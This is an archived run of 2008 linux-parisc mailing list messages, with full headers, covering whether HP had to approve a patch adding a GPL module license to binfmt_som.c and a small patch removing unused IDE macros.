	Sun, 10 Aug 2008 07:41:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at gag.com
Original-Received: from winfree.gag.com ([127.0.0.1])
	by localhost (winfree.gag.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id oE-+f8LAwLVD; Sun, 10 Aug 2008 07:41:56 -0600 (MDT)
Original-Received: from rover.gag.com (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id 7C9593006;
	Sun, 10 Aug 2008 07:41:56 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 6913E15E5F3; Sun, 10 Aug 2008 07:41:54 -0600 (MDT)
In-Reply-To: <20080810010005.GL8618@parisc-linux.org>
X-Mailer: Evolution 2.22.3.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:604 gmane.linux.kernel:719297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/604>

On Sat, 2008-08-09 at 19:00 -0600, Matthew Wilcox wrote:
> On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> > Someone from HP needs to ACK this patch since I believe HP funded the code
> > changes made during the parisc-linux port. This should be a no-brainer
> > and I expect Bdale Garbee can quickly take care of this.

> I believe I did this work before joining Linuxcare,
> so I don't believe HP has any claim to it at all.  You'd have to check
> CVS history to be sure.  

If that is indeed the timing, I agree.  If not, let me know, and I'll
see if I can push the right buttons in HP.

Bdale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 10 Aug 2008 17:11:59 +0300
Lines: 51
Approved: news@gmane.org
Message-ID: <20080810141159.GA13105@cs181140183.pp.htv.fi>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218377629 26379 80.91.229.12 (10 Aug 2008 14:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 14:13:49 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>, bdale@hp.com
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 16:14:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSBgs-0003Dg-Ek
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 16:14:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753226AbYHJONk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 10:13:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753866AbYHJONj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 10:13:39 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:55240 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753226AbYHJONj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 10:13:39 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 32E1B5BC030;
	Sun, 10 Aug 2008 17:13:38 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20080810005511.GB2617@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:605 gmane.linux.kernel:719300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/605>

On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> +bdale@hp.com
> 
> On Thu, Aug 07, 2008 at 12:11:55AM +0300, Adrian Bunk wrote:
> > This patch adds the missing MODULE_LICENSE("GPL").
> > 
> > Reported-by: Adrian Bunk <bunk@kernel.org>
> > Signed-off-by: Adrian Bunk <bunk@kernel.org>
> > 
> > ---
> > 
> > This patch has been sent on:
> > - 15 Jun 2008
> > 
> > 4cec562181f818f16f072b9a14ca7a0ce6c66417 diff --git a/fs/binfmt_som.c b/fs/binfmt_som.c
> > index fdc36bf..6d3bebb 100644
> > --- a/fs/binfmt_som.c
> > +++ b/fs/binfmt_som.c
> > @@ -308,3 +308,5 @@ static void __exit exit_som_binfmt(void)
> >  
> >  core_initcall(init_som_binfmt);
> >  module_exit(exit_som_binfmt);
> > +
> > +MODULE_LICENSE("GPL");
> 
> Someone from HP needs to ACK this patch since I believe HP funded the code
> changes made during the parisc-linux port. This should be a no-brainer
> and I expect Bdale Garbee can quickly take care of this.

Either the file is available since the beginning under the terms of the 
GPLv2 (or a compatible license that can be reduced to GPLv2) or it's 
addition to the kernel was a huge mistake.

> thanks,
> grant

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 10 Aug 2008 09:14:33 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20080810151433.GO8618@parisc-linux.org>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org> <20080810010005.GL8618@parisc-linux.org> <1218375714.18157.56.camel@rover.gag.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218381310 3343 80.91.229.12 (10 Aug 2008 15:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 15:15:10 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Adrian Bunk <bunk@kernel.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Bdale Garbee <bdale@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 17:15:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSCe6-0004BV-4n
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 17:15:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751674AbYHJPOv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 11:14:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752831AbYHJPOv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 11:14:51 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:43361 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751674AbYHJPOu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 11:14:50 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 42889494007; Sun, 10 Aug 2008 09:14:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1218375714.18157.56.camel@rover.gag.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:606 gmane.linux.kernel:719306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/606>

On Sun, Aug 10, 2008 at 10:41:54AM -0300, Bdale Garbee wrote:
> On Sat, 2008-08-09 at 19:00 -0600, Matthew Wilcox wrote:
> > On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> > > Someone from HP needs to ACK this patch since I believe HP funded the code
> > > changes made during the parisc-linux port. This should be a no-brainer
> > > and I expect Bdale Garbee can quickly take care of this.
> 
> > I believe I did this work before joining Linuxcare,
> > so I don't believe HP has any claim to it at all.  You'd have to check
> > CVS history to be sure.  
> 
> If that is indeed the timing, I agree.  If not, let me know, and I'll
> see if I can push the right buttons in HP.

http://cvs.parisc-linux.org/obsolete/linux-2.2/fs/binfmt_som.c?rev=1.8&view=log

indicates I first committed the file in June 1999 and was the majority
committer to this file (prumpf also committed some code).  My last
commit to it was in November 1999 (while I still worked for Genedata).

At some point around then, we moved to the 2.4 CVS tree:

http://cvs.parisc-linux.org/linux-2.4/fs/binfmt_som.c?rev=1.21&view=log

and there are some commits from other people at HP and myself while at
Linuxcare and HP.

The 2.5 development tree:
http://cvs.parisc-linux.org/linux-2.5/fs/binfmt_som.c?rev=1.3&view=log

doesn't show anything of great interest.

and the 2.6 tree represents accurately how much effort we put into SOM:
http://cvs.parisc-linux.org/linux-2.6/fs/binfmt_som.c?rev=1.8&view=log


So while HP has a legitimate claim to some parts of the file, my initial
contributions before I worked for Linuxcare or HP were the largest and I
don't think that anyone has a legitimate claim that this is not a
derived work of GPL code, and hence I think Adrian's patch should be
accepted.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel
Subject: Re: [PATCH] ide: remove unused macros from <asm-parisc/ide.h>
Date: Sun, 10 Aug 2008 11:54:37 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20080810155437.GA6576@phobos.i.cabal.ca>
References: <200808101747.08025.bzolnier@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218383688 9887 80.91.229.12 (10 Aug 2008 15:54:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 15:54:48 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, linux-kernel@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 17:55:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSDGc-0007bR-6P
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 17:55:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753920AbYHJPyj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 11:54:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754274AbYHJPyj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 11:54:39 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:40179 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753584AbYHJPyi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 11:54:38 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 49232178062; Sun, 10 Aug 2008 11:54:37 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200808101747.08025.bzolnier@gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:607 gmane.linux.ide:33631 gmane.linux.kernel:719338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/607>

On Sun, Aug 10, 2008 at 05:47:07PM +0200, Bartlomiej Zolnierkiewicz wrote:
> 
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Signed-off-by: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
> ---
>  include/asm-parisc/ide.h |    4 ----
>  1 file changed, 4 deletions(-)
> 
> Index: b/include/asm-parisc/ide.h
> ===================================================================
> --- a/include/asm-parisc/ide.h
> +++ b/include/asm-parisc/ide.h
> @@ -13,10 +13,6 @@
>  
>  #ifdef __KERNEL__
>  
> -#define ide_request_irq(irq,hand,flg,dev,id)	request_irq((irq),(hand),(flg),(dev),(id))
> -#define ide_free_irq(irq,dev_id)		free_irq((irq), (dev_id))
> -#define ide_request_region(from,extent,name)	request_region((from), (extent), (name))
> -#define ide_release_region(from,extent)		release_region((from), (extent))
>  /* Generic I/O and MEMIO string operations.  */
>  

Thanks Bart!

Groovy... Want me to merge this, or will you shepherd it in?

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ide,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] ide: remove unused macros from <asm-parisc/ide.h>
Date: Sun, 10 Aug 2008 20:03:27 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <200808102003.27727.bzolnier@gmail.com>
References: <200808101747.08025.bzolnier@gmail.com> <20080810155437.GA6576@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218391578 30888 80.91.229.12 (10 Aug 2008 18:06:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 18:06:18 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-ide-owner@vger.kernel.org Sun Aug 10 20:07:09 2008
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSFJm-0003P4-Ue
	for lnx-linux-ide@gmane.org; Sun, 10 Aug 2008 20:07:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752403AbYHJSGD (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Sun, 10 Aug 2008 14:06:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752574AbYHJSGC
	(ORCPT <rfc822;linux-ide-outgoing>); Sun, 10 Aug 2008 14:06:02 -0400
Original-Received: from mu-out-0910.google.com ([209.85.134.190]:22680 "EHLO
	mu-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752403AbYHJSGB (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Sun, 10 Aug 2008 14:06:01 -0400
Original-Received: by mu-out-0910.google.com with SMTP id w8so3133746mue.1
        for <linux-ide@vger.kernel.org>; Sun, 10 Aug 2008 11:05:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version
         :content-disposition:message-id:content-type
         :content-transfer-encoding;
        bh=/Gqo2ejrWsRiBcHkDVwB1obC1cQc3ulpYOlA0LzXchg=;
        b=kih/aVtcYIUjgkGYvENTBnEnd4Q8vnSp9UJrh/9ytI4sCNb00nwF4rF/aw93D43qmB
         y2HzzPHpKRKNd/D+/yuFlI4eYI0tq/61ASTCkZt1XkmKRhyHrxlfLR/nS/NRE162KhA0
         9eUJLQS3lG9tqyQboHlkSfrocz/f6+/Xj05rg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-disposition:message-id:content-type
         :content-transfer-encoding;
        b=TgEjaqL7m77sGkZgsbtSnSh34xN5Huyc1vWU0rFea3gsERRGN8jO05zZqMeggsN7t0
         gg30+MikZS7cfRvs8SYs10YQFVM/dIQlt/4TdzigFWgxCkrD5/+fv08RvvvWmKvFWedE
         Z8kym6keqc2Hpn6Ls8i6FUFIy8IkyOz9v0qLU=
Original-Received: by 10.103.229.19 with SMTP id g19mr5116618mur.19.1218391559345;
        Sun, 10 Aug 2008 11:05:59 -0700 (PDT)
Original-Received: from ?192.168.123.7? ( [89.77.41.80])
        by mx.google.com with ESMTPS id n10sm5905024mue.14.2008.08.10.11.05.57
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 10 Aug 2008 11:05:58 -0700 (PDT)
User-Agent: KMail/1.9.9
In-Reply-To: <20080810155437.GA6576@phobos.i.cabal.ca>
Content-Disposition: inline
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:33633 gmane.linux.kernel:719357 gmane.linux.ports.parisc:608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/608>

On Sunday 10 August 2008, Kyle McMartin wrote:
> On Sun, Aug 10, 2008 at 05:47:07PM +0200, Bartlomiej Zolnierkiewicz wrote:
> > 
> > Cc: Kyle McMartin <kyle@mcmartin.ca>
> > Signed-off-by: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
> > ---
> >  include/asm-parisc/ide.h |    4 ----
> >  1 file changed, 4 deletions(-)
> > 
> > Index: b/include/asm-parisc/ide.h
> > ===================================================================
> > --- a/include/asm-parisc/ide.h
> > +++ b/include/asm-parisc/ide.h
> > @@ -13,10 +13,6 @@
> >  
> >  #ifdef __KERNEL__
> >  
> > -#define ide_request_irq(irq,hand,flg,dev,id)	request_irq((irq),(hand),(flg),(dev),(id))
> > -#define ide_free_irq(irq,dev_id)		free_irq((irq), (dev_id))
> > -#define ide_request_region(from,extent,name)	request_region((from), (extent), (name))
> > -#define ide_release_region(from,extent)		release_region((from), (extent))
> >  /* Generic I/O and MEMIO string operations.  */
> >  
> 
> Thanks Bart!
> 
> Groovy... Want me to merge this, or will you shepherd it in?

In the fear of include/asm-parisc/ shuffle I would prefer that you pick it.

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 10 Aug 2008 18:05:35 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20080811000535.GB14163@colo.lackof.org>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org> <20080810010005.GL8618@parisc-linux.org> <1218375714.18157.56.camel@rover.gag.com> <20080810151433.GO8618@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218413166 19500 80.91.229.12 (11 Aug 2008 00:06:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 00:06:06 +0000 (UTC)
Cc: Bdale Garbee <bdale@hp.com>,
	Grant Grundler <grundler@parisc-linux.org>,
	Adrian Bunk <bunk@kernel.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 02:06:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSKvv-0007OB-8F
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 02:06:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752684AbYHKAFs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 20:05:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752703AbYHKAFs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 20:05:48 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:52496 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752684AbYHKAFr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 20:05:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 658613381DB;
	Sun, 10 Aug 2008 18:05:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13726-06; Sun, 10 Aug 2008 18:05:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EFA8F3381D9; Sun, 10 Aug 2008 18:05:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080810151433.GO8618@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:609 gmane.linux.kernel:719402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/609>

On Sun, Aug 10, 2008 at 09:14:33AM -0600, Matthew Wilcox wrote:
...
> > If that is indeed the timing, I agree.  If not, let me know, and I'll
> > see if I can push the right buttons in HP.
> 
> http://cvs.parisc-linux.org/obsolete/linux-2.2/fs/binfmt_som.c?rev=1.8&view=log
> 
> indicates I first committed the file in June 1999 and was the majority
> committer to this file (prumpf also committed some code).  My last
> commit to it was in November 1999 (while I still worked for Genedata).

Ok - I didn't realize that.

> At some point around then, we moved to the 2.4 CVS tree:
> 
> http://cvs.parisc-linux.org/linux-2.4/fs/binfmt_som.c?rev=1.21&view=log
> 
> and there are some commits from other people at HP and myself while at
> Linuxcare and HP.

Thanks for digging this up.
I expect it should be easy for Bdale to get this rubber stamped
by any one of the HP linux kernel engineers.  HP legal shouldn't
need to be involved.



> 
> The 2.5 development tree:
> http://cvs.parisc-linux.org/linux-2.5/fs/binfmt_som.c?rev=1.3&view=log
> 
> doesn't show anything of great interest.
> 
> and the 2.6 tree represents accurately how much effort we put into SOM:
> http://cvs.parisc-linux.org/linux-2.6/fs/binfmt_som.c?rev=1.8&view=log
> 
> 
> So while HP has a legitimate claim to some parts of the file, my initial
> contributions before I worked for Linuxcare or HP were the largest and I
> don't think that anyone has a legitimate claim that this is not a
> derived work of GPL code, and hence I think Adrian's patch should be
> accepted.

I agree and apologize for my bad memory and lazy attitude. I didn't mean
to make a big deal of this - just assumed HP was the right party to
address this to.

cheers,
grant

> 
> -- 
> Intel are signing my paycheques ... these opinions are still mine
> "Bill, look, we understand that you're interested in selling us this
> operating system, but compare it to ours.  We can't possibly take such
> a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 10 Aug 2008 18:10:15 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20080811001015.GC14163@colo.lackof.org>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org> <20080810141159.GA13105@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218413443 20116 80.91.229.12 (11 Aug 2008 00:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 00:10:43 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca,
	matthew@wil.cx, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>, bdale@hp.com
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 02:11:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSL0S-0008SF-Fo
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 02:11:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751472AbYHKAK3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 20:10:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752318AbYHKAK3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 20:10:29 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:52585 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751472AbYHKAK2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 20:10:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6D5893381DB;
	Sun, 10 Aug 2008 18:10:26 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16040-01; Sun, 10 Aug 2008 18:10:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id ED6403381D9; Sun, 10 Aug 2008 18:10:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080810141159.GA13105@cs181140183.pp.htv.fi>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
